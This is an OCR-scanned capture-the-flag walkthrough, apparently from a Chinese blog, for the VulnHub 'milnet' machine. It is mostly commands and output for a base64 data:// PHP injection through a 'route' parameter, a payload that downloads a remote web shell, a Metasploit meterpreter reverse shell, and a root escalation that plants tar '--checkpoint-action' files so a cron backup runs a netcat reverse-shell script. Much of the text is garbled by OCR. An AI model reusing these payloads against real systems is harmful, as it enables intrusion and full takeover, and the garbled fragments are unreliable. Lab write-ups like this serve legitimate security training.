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Description
Welcome to 1989!

And welcome to Germany!

This VM is inspired by a book! There should be plenty of hints which one it is, if you havent read it.
This is a simple VM, so dont fear any advanced exploitation, reverse engineering or other advanced technigues!

Just a solid and simple advanced persistent threat (admins) ;)

So the level is clearly: beginner (as intended)
For some it may teach a solid (old) new Privesc technigue that together with the above mentioned book inspired me to this VM.

made the effort to throw some very basic story/polish into it.
Also If everythin runs smoathly the VM should show its IP adress in the Login screen on the console!
-No, | dont consider finding the VM in your own network a real challenge ;)-

f you should encounter any problems or want to drop me a line use #milet and @teh_warriar on twitter or chat me up in #wulnhub!

Hope you enjoy this VMI

Gonna enjoy reading some writeups and hope you might find other ways then the intended ones!
Best Regards

Warrior

To convert the VM so it works with Virtualbox: gemu-img convert -disk1.vmdk -disk1.bin; VBoxManage convertfromraw -disk1.bin -disk1.vdi —
format VDI
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C:\home\kali>
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C:\ho kali»
Starting Nmap 7.91
Nmap scan
Host is up .
Not shown: ¢ ed ports
CE VERSION
OpenSSH 7.2p2 Ubuntu &

(t/html; charset=UTF-8).
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d Service detection performed. Please report any incorrect results at https

1 IP address (1 host up) scanned in 14.14 seco
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By The Dark Raver

START_TIME: Mon Jan 24 18:39:18 2
URL_BASE: http://192.168.1.164/
WORDLIST_FILES: / /share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

Scanning URL: y 2 /
+ http:// .1.164/index.php (CODE
http://1¢ 1.1, /info.php (CODE:

END_TIME: Mon Jan 24 18:39:22
NLOADED: 4612 - FOUND

R& —Ainfo.php, VilE 25K o ¥ XA & MM R B XK e

Directive | Local Value Master Value
allow_url_fopen On on
allow_url_include On on
$ SERVER['DOCUMENT_ROOT'] Jvar/www/html
$ SERVER['SCRIPT_FILENAME'] /var/www/html/info.php I
SSBR RS

=
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1 <?php system('ls'); ?>
2 route=data: //text/plain;baseb4, PD9waHAgc31zdGVtKCdscycpOyA/Pg=

a= -
Request Response
Frevy SR Hex ' = GOl Raw Hex Render n =
1 POST /content.php HTTR/1.1 1 HTTP/1.1 200 0K
2 Host:192.168.1.164 2 Content-type: text /html; charset=UTF-8
3 User-Agent: Mozilla/5.0 (¥11: Linux x86_64; rv:78.0) Gecko/20100101 3 Connection: close
Firefox/78.0 ! Date: Mon, 24 Jan 2022 16:51: 29 GMT
4 Accept : S Server: lighttpd/1.4.35
text/html, application/xhtml+xml,application/xnl ;q=0.9, inage fweb 5 Content-Length: 85
p.¥/*;qmu0.B 7
5 Accept-Language! 8 bomb.qjpg
zh-CN, zh;q=0.8,zh-TW; q=0.7,zh-HK;g=0.5,en-US; g=0.3, en; q=0. 2 9 bomb.php
G Accept-Encoding: gzip, deflate 10 content.php
Content-Type: application/x-www-form-urlencoded 11 index.php
& Content-Length: 63 12 info.php
2 Origin: hittp://192.168.1.164 12 main.php
10 Connection: close 14 mj.jpg
11 Referer: http://192.168.1 164/nav, php 15 nav.php
12 Upgrade-Insecure-Requests: 1 & props.php
13 DNT: 1 17 a
4 Sec-GPC: 1

16 route=data://text/plain;base6d, PDOwaHAgcSlzdGVE KCdscycpOy A/ Pg==
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1 route=data: //text/plain;baseé4,PD9waHAgc31zdGVtKCI3Z2VRIGhOdHALLYSXOTIUMTY4
LjEuMzAvc2h1lbGwxLnBocCIpOyA/Pg= e
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msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload php/meterpreter/reverse tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0

msf5 exploit(multi/handler) > set Iport 12345

msf5 exploit(multi/handler) > exploit
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eric/shell_reverse_tcp

t payload php/meterpreter/reverse_tcp
2 _tep

t lhost 0.0.0.0

) > set lport 12345

) > exploit

Meterpreter session 1 opened . }.1.159:12345 — 192.168.1.164:39764) at 2022-01-25 ©1:31:59 +0800

meterpreter > shell

’ ess 3403 ted.

Channel @ created.

id

uid=33(wwmw-data) gid=33(wwmw-data) groups=33(ww-data)

cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
langman:x:1000:1000:T. G. Langman,,,:/home/langman:¢#gin/ s

BEIHRMES (XEEFIEE—54 2 Llrooth fR $147 — & /backup/backup.sh)



command

and fi

#mh dom mon
S * * & &
s S * &
* *
3
*

¥

# % Ibackup/backup.shi &

ww-datadseckenheim: /var/www/html$ cat /backup/backup.sh
cat /backup/backup.sh

#! /bin/bash
cd /var/vwww/html
tar c¢f /backup/backup.tgz *

7Elangmanfi J* X H 3 /home/langman/SDINET/DefenseCode_Unix_WildCards_Gone_Wild.txt & %] —
THE

1 Z£%e3. https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone
_Wild.txt
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Tar arbitrary command execution

Previous example is nice example of file ownership hijacking. Now, let's go to even
more interesting stuff like arbitrary command execution. Tar is very common unix program
for creating and extracting :

Common usage for
[root@defensecode publicl# tar f *

So, what's the problem with 'tar'?
Thing is that tar has many options, and among them, there some pretty interesting
options from arbitrary parameter injection point of view.

Let's check tar manual page (man tar)

—checkpoint[=NUMBER]
display progress messages every NUMEERth record

— checkpoint-action=ACTION
execute ACTION on each checkpoint

There is '—checkpoint-action' option, that will specify program which will
be executed when checkpoint is reached. Basically, that allows us arbitrary
command execution.

¥

Check the following directory:

[root@defensecode publicH 1s

total 72
drwxXrewxrwx. user

[= 2]

LD96

m

4096
204B0

o0

drwx ——o . 4 user
rW=-rw=-r—. USer
rW=-TW=-T— . user
'W=-r—r—, leon
-IW=-F=—T—. leon
-I'W-Ir-r—, USETr USer
-I'W-TwW-T—. User user
=-W=-I'"~-I— . USET User

admin.php

ado.php

— Checkpoint=1

— che oint-action=exec=sh
db.php

download.php

filel.php

footer.php

-I'W-Irw-r—. USer user o7 28 17:36 global.php
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-rW-re-r—. USer user

=rw=I'w=r—. USer user 2 0 28 7:37 header.php
-I'W-I'wW-r—. User user I Oc B 17:36 inc.php
=r'wW=I'n=-I—. USEr user 11 8 17:38 index.php
-rwW-re-r-—., user user 9 Oc 8 17:38 script.php
-IWXF-XI-X. leon leon } 8 19:17 shell.sh

Now, for example, root user wants ‘eate archive of
directory.

[rootd@defensecode tar cf archive. CSDN @‘§J§123

EH L A RBTERNARE, AT msfvenom 23 netcat R IaEH, FHFAHWLEALUT wd.
JE B

1 msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.159, pﬁrg

C:\home\kali> cmd/unix/reverse_netcat lhost=192.168.1.159 lport=8888 R

[-] No platform was selected, choosing Msf ::Module:: Platform::Unix from the payload

[-] No arch selected, selecting arch: cmd from the payload

No encoder specified, outputting raw payload

Payload size: 91 bytes

mkfifo /tmp/cvic; nc 192.168.1.159 8888 @</ tmp/cvic /bin/sh >/tmp/cvijc 2>81; rm /tmp/cvic
C:\home\kali> 8888

listening on [any] B888 ey
CSDN @%1/22123
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1 echo "mkfifo /tmp/ivkwne; nc 192.168.1.159 8888 0</tmp/ivkwne | /bin/sh >/t
mp/ivkwne 2>&1; rm /tmp/ivkwne" > shell.sh

2 touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"

3 touch "/var/www/html/--checkpoint=1"

echo ; nc 192.168.1.158% tmp/ivkwne | fbin/s Jtmp/ivkwne 2>81; tmp/ivkwne" > shell.sh
t-action

o/ 15 1 /tmp /vl > shellsh 9 CSDN @%15£123

fvar/we /html/ = checkpoint-action=exec

ww-datagseckenheim: /var/ww/html$ 1s

=
La

-—checkpoint-action=exec=sh shell.s content.php mj.jpg shelll.php
-—checkpoint=1echo index.php nav.php

bomb. jpg info.php props.php

bomb.php main.php shell.sh : e

ww -datagseckenheim: /var/ww /html$ I CSDN @7’:?]5%:123

C:\home\kali> 8888

listening on [any] 8888 ...

192.168.1.164: inverse host lookup failed: Unknown host
connect to [192.168.1.159] from (UNKNOWN) [192.168.1.164] 33610
id

uid=0(root) gid=0(root) groups=0(root)

0 CSDN @#132123
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credits.txt
cat credits.txt

This was milnet for #vulnhub by @teh_warriar
I hope you enjoyed this wvm!

If you liked it drop me a line on twitter or in #vulnhub.

I hope you found the clue:
/home/langman/SDINET/DefenseCode_Unix_WildCards_Gone_Wild.txt
I was sitting on the idea for using this technique for a BOOT2RO0T VM prives for a long time ...

This VM was inspired by The Cuckoo's Egg.
If you have not read it give it a try:
http://www .amazon.com/Cuckoos-Egg-Tracking-Computer-Espionage/dp/1416507787/

CSDN @§1|32123
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